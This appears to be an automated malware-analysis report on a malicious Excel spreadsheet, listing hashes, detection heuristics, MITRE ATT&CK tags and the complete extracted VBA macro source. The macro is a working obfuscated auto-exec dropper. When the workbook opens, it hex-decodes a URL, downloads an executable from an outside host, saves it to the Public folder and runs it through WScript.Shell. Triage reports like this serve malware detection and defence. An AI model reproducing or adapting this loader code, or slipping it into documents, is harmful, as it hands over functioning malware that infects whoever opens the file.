Office (OOXML) malware analysis — malicious · 24d8103f7221bddd

MALICIOUS

Office (OOXML)

117.6 KB First seen: 2020-09-07

MD5: f5035e891e7f264f431c8b5f28509e72 SHA-1: 34c28f3197399919d9724dc1430f44ef73e84812 SHA-256: 24d8103f7221bdddb23e2e2b901aa35238ab8369eda3c50eb3459cc1c7fec56b

310 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is an Office Open XML spreadsheet containing VBA macros. The Workbook_Open subroutine is present and obfuscated, indicating an automated execution upon opening. Critical heuristics indicate that the VBA code downloads a file via HTTP and executes it, and that it is an obfuscated auto-exec loader. The script attempts to download a file from 'http://heliosphere.us/temp/terfdcv.exe', which is likely a second-stage payload.

Heuristics 7

ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
Matched line in script
```
vkvzhgdicvxcxkgtkvgjspvltnessmahunkxmbyemhzudwdvldcawusfpjgubkpqvpikzigiwbwkpahwkjhojzlaueicvecbrjyn.write lapitqggsdxwuxrmfpmzvdasseptdbdoeijzxvfxzztcumwiswqnycsiawqoamcrzirlnspkjpzwkxyfihbgkqqcqbzbfrwnwcdl.responseBody
```
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
  Range("A6:J13").Select
Set lapitqggsdxwuxrmfpmzvdasseptdbdoeijzxvfxzztcumwiswqnycsiawqoamcrzirlnspkjpzwkxyfihbgkqqcqbzbfrwnwcdl = CreateObject(knaixrrxwnpuaqqspkyjazpmfunyangyvjbyrjyvjifdnsnttb("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

  Range("A6:J13").Select
Set lapitqggsdxwuxrmfpmzvdasseptdbdoeijzxvfxzztcumwiswqnycsiawqoamcrzirlnspkjpzwkxyfihbgkqqcqbzbfrwnwcdl = CreateObject(knaixrrxwnpuaqqspkyjazpmfunyangyvjbyrjyvjifdnsnttb("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	6599 bytes
SHA-256: `9a85e2ec3bcad80b553369fe682b13006c8a47048004885b21647cd173ed6e96`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Range("A6:J13").Select jdaaitbgmkfovdqfkwzywatqxfjtabaynpnxxmnejkgdgltrbfoaslyjkjcckhfkjgbgqtixjupltpjmlsrvmagbqdnnkkubfvua"68 74 74 70 3A 2F 2F 68 65 6C 69 6F 73 70 68 65 72 65 2E 75 73 2F 74 65 6D 70 2F 74 65 72 66 64 63 76 2E 65 78 65" Selection.Font.ColorIndex = 3 End Sub Public Sub jdaaitbgmkfovdqfkwzywatqxfjtabaynpnxxmnejkgdgltrbfoaslyjkjcckhfkjgbgqtixjupltpjmlsrvmagbqdnnkkubfvua (hrepanzczwbsyyobtgxezkonxinonyqzcromhycjgslhpbiaknlktqkwdrsrakpafbphkbuvenxhzgxvanezngfmgrjqfkjwdkco As String) Dim lapitqggsdxwuxrmfpmzvdasseptdbdoeijzxvfxzztcumwiswqnycsiawqoamcrzirlnspkjpzwkxyfihbgkqqcqbzbfrwnwcdl Range("A6:J13").Select Dim vkvzhgdicvxcxkgtkvgjspvltnessmahunkxmbyemhzudwdvldcawusfpjgubkpqvpikzigiwbwkpahwkjhojzlaueicvecbrjyn Range("A6:J13").Select Dim osvdxtduxhqpbjksdbgwehqvzdnszusgbtiroerpvrcmotblukyqccjhczdtglvcpjnhbtezjramedggccypwcdzkaooayjjvaxe Range("A6:J13").Select Set lapitqggsdxwuxrmfpmzvdasseptdbdoeijzxvfxzztcumwiswqnycsiawqoamcrzirlnspkjpzwkxyfihbgkqqcqbzbfrwnwcdl = CreateObject(knaixrrxwnpuaqqspkyjazpmfunyangyvjbyrjyvjifdnsnttb("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Range("A6:J13").Select Set lapitqggsdxwuxrmfpmzvdasseptdbdoeijzxvfxzztcumwiswqnycsiawqoamcrzirlnspkjpzwkxyfihbgkqqcqbzbfrwnwcdl = CreateObject(knaixrrxwnpuaqqspkyjazpmfunyangyvjbyrjyvjifdnsnttb("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set lapitqggsdxwuxrmfpmzvdasseptdbdoeijzxvfxzztcumwiswqnycsiawqoamcrzirlnspkjpzwkxyfihbgkqqcqbzbfrwnwcdl = CreateObject(knaixrrxwnpuaqqspkyjazpmfunyangyvjbyrjyvjifdnsnttb("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set lapitqggsdxwuxrmfpmzvdasseptdbdoeijzxvfxzztcumwiswqnycsiawqoamcrzirlnspkjpzwkxyfihbgkqqcqbzbfrwnwcdl = CreateObject(knaixrrxwnpuaqqspkyjazpmfunyangyvjbyrjyvjifdnsnttb("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set vkvzhgdicvxcxkgtkvgjspvltnessmahunkxmbyemhzudwdvldcawusfpjgubkpqvpikzigiwbwkpahwkjhojzlaueicvecbrjyn = CreateObject(knaixrrxwnpuaqqspkyjazpmfunyangyvjbyrjyvjifdnsnttb("41 44 4f 44 42 2e 53 74 72 65 61 6d")) Set osvdxtduxhqpbjksdbgwehqvzdnszusgbtiroerpvrcmotblukyqccjhczdtglvcpjnhbtezjramedggccypwcdzkaooayjjvaxe = CreateObject(knaixrrxwnpuaqqspkyjazpmfunyangyvjbyrjyvjifdnsnttb("57 53 63 72 69 70 74 2e 53 68 65 6c 6c")) olwctkhzrxdvkgssijuwegcvlvftfaljoizjlkgfdrtckfjfajmoscziibqyfnurmthbhihxcptnmzlglzsvnwrmiqbkuiaqwcqr = knaixrrxwnpuaqqspkyjazpmfunyangyvjbyrjyvjifdnsnttb(hrepanzczwbsyyobtgxezkonxinonyqzcromhycjgslhpbiaknlktqkwdrsrakpafbphkbuvenxhzgxvanezngfmgrjqfkjwdkco) xhxscoldjmwiqjmfuzdpcusqhwduocqjjujecatzlndwusulvuvxzaodohkflqogvmywaidufeeprvwocryuhtkjfgpuqonuyxbh = knaixrrxwnpuaqqspkyjazpmfunyangyvjbyrjyvjifdnsnttb("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 6C 76 78 6B 7A 6C 79 6F 64 2e 65 78 65") uylnrbruvzltkvctruybcpqtsidrqkquuoueglcfcpoguwjuluceyzefhruixzdkjrywbxmgrszmbkzwyjgwimvukpwpquicldxd = knaixrrxwnpuaqqspkyjazpmfunyangyvjbyrjyvjifdnsnttb("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 6C 76 78 6B 7A 6C 79 6F 64 2e 65 78 65") lapitqggsdxwuxrmfpmzvdasseptdbdoeijzxvfxzztcumwiswqnycsiawqoamcrzirlnspkjpzwkxyfihbgkqqcqbzbfrwnwcdl.Open chr(71) + chr(69) + chr(84), olwctkhzrxdvkgssijuwegcvlvftfaljoizjlkgfdrtckfjfajmoscziibqyfnurmthbhihxcptnmzlglzsvnwrmiqbkuiaqwcqr, False lapitqggsdxwuxrmfpmzvdasseptdbdoeijzxvfxzztcumwiswqnycsiawqoamcrzirlnspkjpzwkxyfihbgkqqcqbzbfrwnwcdl.send vkvzhgdicvxcxkgtkvgjspvltnessmahunkxmbyemhzudwdvldcawusfpjgubkpqvpikzigiwbwkpahwkjhojzlaueicvecbrjyn.Type = 1 vkvzhgdicvxcxkgtkvgjspvltnessmahunkxmbyemhzudwdvldcawusfpjgubkpqvpikzigiwbwkpahwkjhojzlaueicvecbrjyn.Open vkvzhgdicvxcxkgtkvgjspvltnessmahunkxmbyemhzudwdvldcawusfpjgubkpqvpikzigiwbwkpahwkjhojzlaueicvecbrjyn.write lapitqggsdxwuxrmfpmzvdasseptdbdoeijzxvfxzztcumwiswqnycsiawqoamcrzirlnspkjpzwkxyfihbgkqqcqbzbfrwnwcdl.responseBody vkvzhgdicvxcxkgtkvgjspvltnessmahunkxmbyemhzudwdvldcawusfpjgubkpqvpikzigiwbwkpahwkjhojzlaueicvecbrjyn.savetofile xhxscoldjmwiqjmfuzdpcusqhwduocqjjujecatzlndwusulvuvxzaodohkflqogvmywaidufeeprvwocryuhtkjfgpuqonuyxbh, 2 osvdxtduxhqpbjksdbgwehqvzdnszusgbtiroerpvrcmotblukyqccjhczdtglvcpjnhbtezjramedggccypwcdzkaooayjjvaxe.Run uylnrbruvzltkvctruybcpqtsidrqkquuoueglcfcpoguwjuluceyzefhruixzdkjrywbxmgrszmbkzwyjgwimvukpwpquicldxd End Sub Public Function knaixrrxwnpuaqqspkyjazpmfunyangyvjbyrjyvjifdnsnttb(ByVal ftjbfyglbwcztwqengfngnxaepylhrregcbiswjyvrynypvehfwpukxswjwqavekfysqvhlqwhrppkcputdcubjveimjatxznoha As String) As String Dim wejztgsmsiclggvgsbpeowmmvcpdjsbbcbtpkdjoixdvgacuxrhlycmzsxeqqpczgbiemfworbwrtqfuavgslqdapuxmztxtudoe As String Dim rxhrvttwgugbrjqvikoqyipshjoyddwpbbdcnoxswgtuowupcckjpygiiojlevtdxqzqgnhunwusouelozwatmadvuuyelnbmqxx As String Dim wejovqwsenuokywfysjkqwvmtipbisfyxhokqhfcqhyhafogoicugmgajwumavjlivrdjmormgujxnmouimaqlrlanatmtbuxnze As Long For wejovqwsenuokywfysjkqwvmtipbisfyxhokqhfcqhyhafogoicugmgajwumavjlivrdjmormgujxnmouimaqlrlanatmtbuxnze = 1 To Len(ftjbfyglbwcztwqengfngnxaepylhrregcbiswjyvrynypvehfwpukxswjwqavekfysqvhlqwhrppkcputdcubjveimjatxznoha)Step 3 wejztgsmsiclggvgsbpeowmmvcpdjsbbcbtpkdjoixdvgacuxrhlycmzsxeqqpczgbiemfworbwrtqfuavgslqdapuxmztxtudoe = Chr$(Val("&H" & Mid$(ftjbfyglbwcztwqengfngnxaepylhrregcbiswjyvrynypvehfwpukxswjwqavekfysqvhlqwhrppkcputdcubjveimjatxznoha, wejovqwsenuokywfysjkqwvmtipbisfyxhokqhfcqhyhafogoicugmgajwumavjlivrdjmormgujxnmouimaqlrlanatmtbuxnze, 2))) rxhrvttwgugbrjqvikoqyipshjoyddwpbbdcnoxswgtuowupcckjpygiiojlevtdxqzqgnhunwusouelozwatmadvuuyelnbmqxx = rxhrvttwgugbrjqvikoqyipshjoyddwpbbdcnoxswgtuowupcckjpygiiojlevtdxqzqgnhunwusouelozwatmadvuuyelnbmqxx & wejztgsmsiclggvgsbpeowmmvcpdjsbbcbtpkdjoixdvgacuxrhlycmzsxeqqpczgbiemfworbwrtqfuavgslqdapuxmztxtudoe Next wejovqwsenuokywfysjkqwvmtipbisfyxhokqhfcqhyhafogoicugmgajwumavjlivrdjmormgujxnmouimaqlrlanatmtbuxnze knaixrrxwnpuaqqspkyjazpmfunyangyvjbyrjyvjifdnsnttb = rxhrvttwgugbrjqvikoqyipshjoyddwpbbdcnoxswgtuowupcckjpygiiojlevtdxqzqgnhunwusouelozwatmadvuuyelnbmqxx End Function Attribute VB_Name = "xnsnhvmfardxsyjnthcxvdmma" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	7680 bytes
SHA-256: `e1149c1da5c975a36edbb1c8ad2a0a2df37478434a9e70778cba515e8deda0de`
Detection ClamAV: Xls.Dropper.EPPlus-9802867-2 Obfuscation or payload: likely 134 of 220 identifiers look randomly generated (e.g. 'DE6E4D8B4D8BB2754E8BAF2D27C7E2E23470FDB3') — consistent with name-mangling obfuscation.

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